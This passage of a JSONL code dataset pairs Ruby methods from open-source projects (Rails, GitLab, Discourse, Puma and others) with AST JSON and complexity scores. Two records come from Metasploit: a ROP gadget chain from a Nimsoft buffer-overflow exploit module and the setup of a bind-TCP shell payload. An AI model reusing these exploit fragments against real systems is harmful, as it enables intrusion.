end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"from_node\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]},{\"type\":\"send\",\"children\":[null,\"content_type_is_image?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"content-type\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[null,\"attributes_from_node\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},null]}]}","id":"75b0f9d0-3bf2-4151-903f-d8f70b2ab472"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kubernetes/default_namespace.rb","start_line":14,"raw_source":"def initialize(cluster, project:)\n        @cluster = cluster\n        @project = project\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cluster\"]},{\"type\":\"kwarg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cluster\",{\"type\":\"lvar\",\"children\":[\"cluster\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}","id":"242a0b2f-8ae5-47e5-8d44-290ee554d43e"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/providers/db/gateway.rb","start_line":55,"raw_source":"def configure_adapter(default_adapters)\n          default_adapter = default_adapters.find(config.adapter_name)\n          config.adapter ||= default_adapter.dup\n\n          config.adapter.configure_from_adapter(default_adapter)\n\n          config.adapter.configure_for_database(config.database_url)\n\n          self\n        end","complexity_score":16.4,"ast_json":"{\"type\":\"def\",\"children\":[\"configure_adapter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"default_adapters\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_adapter\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_adapters\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"adapter_name\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"adapter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_adapter\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"adapter\"]},\"configure_from_adapter\",{\"type\":\"lvar\",\"children\":[\"default_adapter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"adapter\"]},\"configure_for_database\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"database_url\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"9ad95c0f-0e1d-4da0-ac65-f104875a6485"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/error_tracking_open_api/lib/error_tracking_open_api/api/projects_api.rb","start_line":26,"raw_source":"def delete_project(id, opts = {})\n      delete_project_with_http_info(id, opts)\n      nil\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_project_with_http_info\",{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"11990f83-1a61-493f-b5fa-bd0ec6b597a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/enforces_two_factor_authentication.rb","start_line":49,"raw_source":"def execute_action_for_2fa_reason(actions)\n    reason = two_factor_verifier.two_factor_authentication_reason\n    groups_enforcing_two_factor = current_user.source_groups_of_two_factor_authentication_requirement\n                                              .reorder(name: :asc)\n    actions[reason].call(groups_enforcing_two_factor)\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_action_for_2fa_reason\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actions\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"reason\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"two_factor_verifier\"]},\"two_factor_authentication_reason\"]}]},{\"type\":\"lvasgn\",\"children\":[\"groups_enforcing_two_factor\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"source_groups_of_two_factor_authentication_requirement\"]},\"reorder\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"reason\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"groups_enforcing_two_factor\"]}]}]}]}","id":"cf0d3e7f-5fe6-4eb6-bdf3-61f6fd38807b"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/has_page_links.rb","start_line":45,"raw_source":"def create_default_links\n        default_links.each do |link|\n          link.parent = self\n          link.save!\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_default_links\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"default_links\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"link\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"parent=\",{\"type\":\"self\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"link\"]},\"save!\"]}]}]}]}","id":"d5dd13e0-1ed5-4e16-b7d7-3c5e35d918c2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/nimsoft/nimcontroller_bof.rb","start_line":151,"raw_source":"def generate_rsp_chain\n    rop_gadgets = [0x0000000140018c42] * 20 # ret\n    rop_gadgets += [\n      0x0000000140002ef6, # pop rax ; ret\n      0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )\n      0x00000001400af237, # pop rdi ; ret\n      0x0000000000000007, # alignment for rsp\n      0x0000000140025dab\n    ] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret\n\n    return rop_gadgets.pack('Q<*')\n  end","complexity_score":7.1,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_rsp_chain\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rop_gadgets\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[5368810562]}]},\"*\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rop_gadgets\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[5368721142]},{\"type\":\"int\",\"children\":[5370425344]},{\"type\":\"int\",\"children\":[5369426487]},{\"type\":\"int\",\"children\":[7]},{\"type\":\"int\",\"children\":[5368864171]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rop_gadgets\"]},\"pack\",{\"type\":\"str\",\"children\":[\"Q<*\"]}]}]}]}]}","id":"d7ea9ade-f54b-46f3-b694-db0058b52364"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/default_scoping_test.rb","start_line":693,"raw_source":"def test_sti_conditions_are_not_carried_in_default_scope\n    ConditionalStiPost.create! body: \"\"\n    SubConditionalStiPost.create! body: \"\"\n    SubConditionalStiPost.create! title: \"Hello world\", body: \"\"\n\n    assert_equal 2, ConditionalStiPost.count\n    assert_equal 2, ConditionalStiPost.all.to_a.size\n    assert_equal 3, ConditionalStiPost.unscope(where: :title).to_a.size\n\n    assert_equal 1, SubConditionalStiPost.count\n    assert_equal 1, SubConditionalStiPost.all.to_a.size\n    assert_equal 2, SubConditionalStiPost.unscope(where: :title).to_a.size\n  end","complexity_score":30.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sti_conditions_are_not_carried_in_default_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConditionalStiPost\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubConditionalStiPost\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubConditionalStiPost\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Hello world\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConditionalStiPost\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConditionalStiPost\"]},\"all\"]},\"to_a\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConditionalStiPost\"]},\"unscope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]},\"to_a\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubConditionalStiPost\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubConditionalStiPost\"]},\"all\"]},\"to_a\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SubConditionalStiPost\"]},\"unscope\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"where\"]},{\"type\":\"sym\",\"children\":[\"title\"]}]}]}]},\"to_a\"]},\"size\"]}]}]}]}","id":"7c752cb1-e8ae-42f9-a7e8-fc3768d26e01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/label.rb","start_line":216,"raw_source":"def unprioritize!(project)\n    priorities.where(project: project).delete_all\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"unprioritize!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"priorities\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]},\"delete_all\"]}]}","id":"be85bc0a-ad89-40c6-b889-ee31a6a86bc6"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/api/v1/pages_controller.rb","start_line":7,"raw_source":"def index\n        @pages = Page.all\n        render json: @pages\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pages\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"all\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"ivar\",\"children\":[\"@pages\"]}]}]}]}]}]}","id":"ab1e7baa-9e1a-4496-8188-1af8ab42766f"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/form_kit.rb","start_line":192,"raw_source":"def enabled?\n        !disabled?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disabled?\"]},\"!\"]}]}","id":"1c35fda7-2c79-4288-846f-338056b22f43"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/rendered/notebook/diff_file.rb","start_line":43,"raw_source":"def has_renderable?\n            !notebook_diff.nil? && diff.diff.present?\n          end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_renderable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notebook_diff\"]},\"nil?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff\"]},\"diff\"]},\"present?\"]}]}]}","id":"3119111e-05a0-49c2-bfb4-436222cc25b4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/repositories/branch_names_finder.rb","start_line":7,"raw_source":"def initialize(repository, params = {})\n      @repository = repository\n      @params = params\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"953d1eaa-f535-4ca1-ada2-6ba0bdab63f0"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":989,"raw_source":"def test_chunked_request\n    body = nil\n    content_length = nil\n    transfer_encoding = nil\n    server_run { |env|\n      body = env['rack.input'].read\n      content_length = env['CONTENT_LENGTH']\n      transfer_encoding = env['HTTP_TRANSFER_ENCODING']\n      [200, {}, [\"\"]]\n    }\n\n    response = send_http_read_response \"GET / HTTP/1.1\\r\\nConnection: close\\r\\nTransfer-Encoding: gzip,chunked\\r\\n\\r\\n1\\r\\nh\\r\\n4\\r\\nello\\r\\n0\\r\\n\\r\\n\"\n\n    assert_equal \"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\n\\r\\n\", response\n    assert_equal \"hello\", body\n    assert_equal \"5\", content_length\n    assert_nil transfer_encoding\n  end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_chunked_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"content_length\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"transfer_encoding\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"server_run\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.input\"]}]},\"read\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content_length\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CONTENT_LENGTH\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"transfer_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_TRANSFER_ENCODING\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_http_read_response\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.1\\r\\nConnection: close\\r\\nTransfer-Encoding: gzip,chunked\\r\\n\\r\\n1\\r\\nh\\r\\n4\\r\\nello\\r\\n0\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 0\\r\\n\\r\\n\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"5\"]},{\"type\":\"lvar\",\"children\":[\"content_length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"lvar\",\"children\":[\"transfer_encoding\"]}]}]}]}","id":"b2254d6f-ea33-47fc-9c28-e32c3a78b385"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":868,"raw_source":"def test_schema_dump_with_correct_timestamp_types_via_add_column_before_rails_7_with_timestamptz_setting\n      migration, original, $stdout = nil, $stdout, StringIO.new\n\n      with_postgresql_datetime_type(:timestamptz) do\n        migration = Class.new(ActiveRecord::Migration[6.1]) do\n          def up\n            create_table(\"timestamps\")\n\n            add_column :timestamps, :this_should_change_to_timestamp, :datetime\n            add_column :timestamps, :this_should_stay_as_timestamp, :timestamp\n          end\n          def down\n            drop_table(\"timestamps\")\n          end\n        end\n        migration.migrate(:up)\n\n        output = dump_table_schema(\"timestamps\")\n        # Normally we'd write `t.datetime` here. But because you've changed the `datetime_type`\n        # to something else, `t.datetime` now means `:timestamptz`. To ensure that old columns\n        # are still created as a `:timestamp` we need to change what is written to the schema dump.\n        #\n        # Typically in Rails we handle this through Migration versioning (`ActiveRecord::Migration::Compatibility`)\n        # but that doesn't work here because the schema dumper is not aware of which migration\n        # a column was added in.\n        assert output.include?('t.timestamp \"this_should_change_to_timestamp\"')\n        assert output.include?('t.timestamp \"this_should_stay_as_timestamp\"')\n      end\n    ensure\n      migration.migrate(:down)\n      $stdout = original\n    end","complexity_score":23.03,"ast_json":"{\"type\":\"def\",\"children\":[\"test_schema_dump_with_correct_timestamp_types_via_add_column_before_rails_7_with_timestamptz_setting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\"]},{\"type\":\"lvasgn\",\"children\":[\"original\"]},{\"type\":\"gvasgn\",\"children\":[\"$stdout\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"gvar\",\"children\":[\"$stdout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_postgresql_datetime_type\",{\"type\":\"sym\",\"children\":[\"timestamptz\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migration\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migration\"]},\"[]\",{\"type\":\"float\",\"children\":[6.1]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"str\",\"children\":[\"timestamps\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"sym\",\"children\":[\"this_should_change_to_timestamp\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"timestamps\"]},{\"type\":\"sym\",\"children\":[\"this_should_stay_as_timestamp\"]},{\"type\":\"sym\",\"children\":[\"timestamp\"]}]}]}]},{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"drop_table\",{\"type\":\"str\",\"children\":[\"timestamps\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"include?\",{\"type\":\"str\",\"children\":[\"t.timestamp \\\"this_should_change_to_timestamp\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"include?\",{\"type\":\"str\",\"children\":[\"t.timestamp \\\"this_should_stay_as_timestamp\\\"\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migration\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"down\"]}]},{\"type\":\"gvasgn\",\"children\":[\"$stdout\",{\"type\":\"lvar\",\"children\":[\"original\"]}]}]}]}]}","id":"74ef0b36-8231-4d44-b6fb-ffa303af866a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/base_test.rb","start_line":580,"raw_source":"def test_equality\n    assert_equal Topic.find(1), Topic.find(2).topic\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_equality\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[2]}]},\"topic\"]}]}]}","id":"91bac3f9-f94d-47ff-b3b0-ec713b8306e4"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1191,"raw_source":"def test_assert_performed_jobs_without_block_with_only_option\n      HelloJob.perform_later(\"jeremy\")\n      LoggingJob.perform_later(\"bogdan\")\n\n      perform_enqueued_jobs\n\n      assert_performed_jobs 1, only: HelloJob\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_performed_jobs_without_block_with_only_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"bogdan\"]}]},{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"send\",\"children\":[null,\"assert_performed_jobs\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"const\",\"children\":[null,\"HelloJob\"]}]}]}]}]}]}","id":"27a3ce42-9acd-411b-a5f0-e31700b01999"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/basic_group_serializer.rb","start_line":99,"raw_source":"def is_group_owner\n    owner_group_ids.include?(object.id)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"is_group_owner\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owner_group_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]}]}","id":"766ecc2c-055c-47f8-aa48-a61330bfcdf0"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Linux Command Shell, Bind TCP Inline',\n        'Description' => 'Listen for a connection and spawn a command shell',\n        'Author' => [\n          'scut', # Original mips-irix-portshell shellcode\n          'vaicebine',        # Original shellcode mod\n          'Vlatko Kosturjak', # Metasploit module\n          'juan vazquez'      # Small fixes and optimizations\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => 'linux',\n        'Arch' => ARCH_MIPSLE,\n        'Handler' => Msf::Handler::BindTcp,\n        'Session' => Msf::Sessions::CommandShellUnix,\n        'Payload' => {\n          'Offsets' => {},\n          'Payload' => ''\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Command Shell, Bind TCP Inline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Listen for a connection and spawn a command shell\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"scut\"]},{\"type\":\"str\",\"children\":[\"vaicebine\"]},{\"type\":\"str\",\"children\":[\"Vlatko Kosturjak\"]},{\"type\":\"str\",\"children\":[\"juan 